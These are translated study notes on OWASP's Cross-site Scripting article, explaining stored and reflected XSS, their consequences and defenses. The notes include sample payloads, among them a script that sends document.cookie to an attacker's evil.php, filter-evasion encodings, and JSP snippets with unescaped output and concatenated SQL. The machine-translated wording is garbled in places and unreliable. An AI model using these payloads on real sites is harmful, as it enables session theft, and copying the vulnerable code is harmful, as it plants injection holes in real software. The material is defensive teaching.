Cross-site Scripting (XSS) Read the notes

This article originates from Https://www.owasp.org/index.php/Cross-site_Scripting_%28XSS%29

Through reading and translation, and according to their own understanding, organized into the following documents.

Overview

An XSS attack is an injection in which a malicious script is injected into a trusted website.

The behavior of an XSS attack is that the attacker uses the Web app's flaw to send malicious code to another user, usually in the form of a browser-side script.

This flaw in the success of the attack is quite extensive and exists in this Web application, where the application uses user input data in response to the Web site output, but does not transcode the output user input data for checksum security.

The browser receives an HTTP response with a malicious script, but there is no way to determine that the malicious script is untrusted because the response is from a trusted Web site.

So the browser executes malicious scripts that can access cookies, session tokens, and other sensitive information that are saved by the browser and used on this site. Malicious scripts can even rewrite HTML page content.

For more information about the different types of XSS defects, see https://www.owasp.org/index.php/Types_of_Cross-Site_Scripting

related security ActivitiesHow do I avoid XSS bugs?

Refer to XSS (Cross Site Scripting) prevention Cheat Sheet

Reference DOM based XSS prevention Cheat Sheet

Refer to OWASP Development Guide article on Phishing. (Fishing anti-phishing)

Refer to OWASP Development Guide article on Data Validation. (Data check)

How do you code review for XSS bugs?

Refer to OWASP Code Review Guide article to reviewing code for Cross-site scripting vulnerabilities.

How do I test for XSS bugs?

Refer to the OWASP Test Guide documentation for information on how to test various types of XSS defects.

• Testing_for_reflected_cross_site_scripting_ (owasp-dv-001)
• Testing_for_stored_cross_site_scripting_ (owasp-dv-002)
• Testing_for_dom-based_cross_site_scripting_ (owasp-dv-003)

XSS Description

XSS attacks occur when the following conditions are true:

1, data input into the Web application, through the non-trusted means, the most common is the Web request.

2, the data is exported to the dynamic Web content, the content of the webpage will be sent to the Web user, the lack of verification of malicious content.

Malicious content is typically in the form of JavaScript, HTML, Flash, and other code that any browser can execute.

XSS-based attacks are almost infinite in form, but typically include:

1. Send private data to attackers, such as cookies and session information.

2. Redirect to the attacker-controlled site page.

3. Perform other malicious actions on the user's machine under the guise of the defective website.

storage-type and reflective XSS attacks

XSS attacks are generally divided into two categories: storage and reflective. There is also a very unknown type of XSS attack, known as DOM Based attack, where Https://www.owasp.org/index.php/DOM_Based_XSS is discussed separately.

Storage-type XSS attack

Stored XSS attacks, injecting malicious code into the target server and saving it permanently, such as databases, message forums, visitor logs, comment areas, and so on.

The victim requests information for some type of storage and also gets the saved malicious code.

Stored XSS is sometimes referred to as persistent or type-i XSS.

Reflective XSS Attack

Reflected XSS attacks, the injected malicious code is reflected back from the server, stored in error messages, search results, and any other responses that include some or all of the input, which is sent to the server as part of the request message.

Reflex attacks are released to the victim through another way, in an email message, or on another website.

If the victim is tricked by clicking on a malicious link, submitting a maliciously constructed form, or even browsing a malicious website,

is injected into the code to reach the defective site, the site will be malicious code reflected back to the user's browser, the browser to execute malicious code, because in fact, from a trusted site to obtain,

Reflective XSS attack, also known as non-persistent or Type-ii XSS

other types of XSS defects

In addition to reflective and storage-type XSS attacks, there is another way to attack DOM based XSS, recognized by this person Amit Klein in 2005

Owasp recommended for use in the following categories: Types of Cross-site Scripting

XSS Attack Consequences

The consequences of an XSS attack are the same, regardless of whether the attack is stored in reflection or DOM based, and how the effective load arrives on the server side.

Do not mistakenly assume that only read-only content sites do not have the flaw of a reflective XSS attack.

XSS attacks can cause multiple problems for end users, from annoying pranks to threatening account security.

The most common XSS attacks include revealing a user's session cookie, allowing an attacker to hijack a user session and take over the account.

Other harmful attacks include revealing end user files, installing Trojan horses, redirecting users to other pages or websites, and modifying the content display of a webpage.

XSS bugs allow attackers to modify communications and news articles, influence the company's share price, and weaken consumer confidence.

If the drug website has XSS, the attacker can modify the dosage of the drug, causing the patient to take excessive doses.

For more of this type of attack, see content_spoofing.

How do I determine if a website is defective?

XSS vulnerabilities are difficult to determine and are removed from the Web site. The best way is to perform a security code review and search all the places where the input from the request is exported to the HTML. Note that there are various HTML tags that can be used to deliver JavaScript malicious code.

Nessus Nikto and other out-of-the-box tools can help scan for these vulnerabilities, but only to find the surface, if one part of the site has this problem, it means there are likely to be other problems as well.

How to protect our website?

The main XSS defense is described in this link OWASP XSS prevention Cheat Sheet.

In addition, we need to pay attention to:

Turning off the HTTP trace feature of the Web server is critical. This feature can reveal the session information of a cookie.

OWASP ESAPI Project produces a collection of security components that implement several languages, including a checksum transcoding approach that prevents parameter tampering and XSS attack injection.

OWASP WebGoat Project has an XSS and data transcoding tutorial.

different XSS syntaxuse scripting for XSS attacks in properties

XSS attacks can also be implemented without the use of <script></script> tags. Other tabs can do exactly the same thing, for example

<body onload=alert (' test1 ') >

or other properties, such as onmouseover, onerror

<b onmouseover=alert (' wufff! ') >click me!</b>

implementing JavaScript-type XSS attacks through the encoded URI scheme

If you need to hide the XSS attack to prevent the Web App filter from being checked, you can transcode the characters in the string.

e.g.: a=& #X41 (UTF-8) Use the IMG tag as

There are many different ways of UTF-8 transcoding, which gives us more possibilities.

using code encoding to implement XSS attacks

You can encode a malicious script as a base64 code and put it in the META tag.

This method completely removes the alert method, and more information about this method is shown in RFC 2397

<meta http-equiv= "Refresh" content= "0;URL=DATA:TEXT/HTML;BASE64,PHNJCMLWDD5HBGVYDCGNDGVZDDMNKTWVC2NYAXB0PG" >

This and other examples see OWASP XSS Filter Evasion Cheat Sheet, which is really an encyclopedia of different syntaxes for XSS attacks.

Example

XSS attacks occur if a malicious user sends unregulated content to a trusted website, in order to be a pastime for other legitimate users.

Example 1

The following JSP code example reads the total employee ID number of the request and outputs it to the user

<% String Eid = request.getparameter ("Eid"); %> ... Employee ID: <%= Eid%>

If the Eid in the request is a number, there is no problem.

If the Eid in the request is malicious code, the browser executes.

Initially you may think there is no security problem, there is no way that the user will enter a malicious script in the URL, and then request this URL yourself.

But if a malicious attacker constructs such a URL and sends it to another person through an email or social network, the recipient will become a victim if clicked on this link, and the malicious code is reflected back from the server and executed in the browser as content in the response.

This is the Reflex XSS attack.

Example 2

The following JSP code queries the employee ID from the database and prints out the employee's name

  <% ... Statement stmt = Conn.createstatement (); ResultSet rs = stmt.executequery ("SELECT * from emp where id=" +eid); if (rs! = null) {  rs.next ();   String name = rs.getstring ("name");%>employee name: <%= name%>

This piece of code appears to be an XSS attack

is less likely because the employee name is taken from the database,

This parameter is controlled by the application and should be trusted.

If, however, this parameter is sent by the client and stored in the database, and is not validated by the XSS attack string in the deposit database.

will still cause XSS attacks. This is a storage-type XSS attack.

This attack is more insidious and increases the likelihood of affecting multiple users. For example, the Web site provides the number of guestbook that an attacker injects malicious code into, and all subsequent users who access guestbook execute malicious code.

As shown above, the XSS flaw is due to the lack of checksum code in the HTTP response, there are three ways XSS attacks to the victim:

1. The data is read directly from the HTTP request and reflected in the HTTP response. Reflected XSS

2, the application of storage dangerous data in the database or data warehouse, then be read back to the application, and inserted into the dynamic content. Stored XSS

3, the same 2, is only the application of other sources of storage data, the application is also read into the dynamic content.

Attack ExamplesExample 1 cookie capture

If the application does not validate the input, it is easy for an attacker to steal cookies from authenticated users,

Almost all attackers will have to do is to fill in any input controls (message boards, private messages, and user profiles) with the following code

<script type= "Text/javascript" >var ADR = '. /evil.php?cakemonster= ' + Escape (document.cookie);</script>

The above script escapes the user's cookie and sends it to the evil.php script, and the attacker checks the evil.php result. A common hacking practice is to write it to a file.

Example 2 error page

Suppose there is an error page that is specifically designed to handle a page that does not exist, a classic 404 page that tells the user that the URL requested does not exist.

If you request the following URL

Http://testsite.test/file_which_not_exist

Response is

Not found:/file_which_not_exist

Forcing 404 pages to include our malicious code

Http://testsite.test/<script>alert ("Test");</script>

Response

Not found:/(but with JavaScript code <script>alert ("TEST")

We have successfully injected malicious code, which means that we can exploit this vulnerability to steal a user's session cookie

related Attacks

• XSS Attacks
• Category:injection Attack
• Invoking untrusted Mobile Code
• Cross Site History manipulation (XSHM)

Related Vulnerabilities

• Category:input Validation Vulnerability
• Cross Site Scripting Flaw
• Types of Cross-site Scripting

related Controls

• Category:input Validation
• HTML Entity Encoding
• Output Validation
• Canonicalization

References

• OWASP ' s XSS (cross Site Scripting) prevention Cheat Sheet
• OWASP Guide to Building Secure Web applications and Web Services, Chapter 8:data Validation
• OWASP Testing Guide, Testing_for_reflected_cross_site_scripting_ (owasp-dv-001)
• OWASP Testing Guide, Testing_for_stored_cross_site_scripting_ (owasp-dv-002)
• OWASP Testing Guide, Testing_for_dom-based_cross_site_scripting_ (owasp-dv-003)
• OWASP's how to Build an HTTP Request Validation Engine (Java EE Validation using OWASP ' s Stinger)
• Google Code Best Practice GUIDE:HTTP://CODE.GOOGLE.COM/P/DOCTYPE/WIKI/ARTICLESXSS
• The Cross Site Scripting faq:http://www.cgisecurity.com/articles/xss-faq.shtml
• OWASP XSS Filter Evasion Cheat Sheet
• CERT advisory on malicious HTML tags:http://www.cert.org/advisories/ca-2000-02.html
• CERT "Understanding malicious Content Mitigation" http://www.cert.org/tech_tips/malicious_code_mitigation.html
• Understanding the cause and effect of CSS vulnerabilities:http://www.technicalinfo.net/papers/css.html
• Xssed-cross-site Scripting (XSS) information and Mirror Archive of vulnerable Websites http://www.xssed.com

Cross-site Scripting (XSS) Read the notes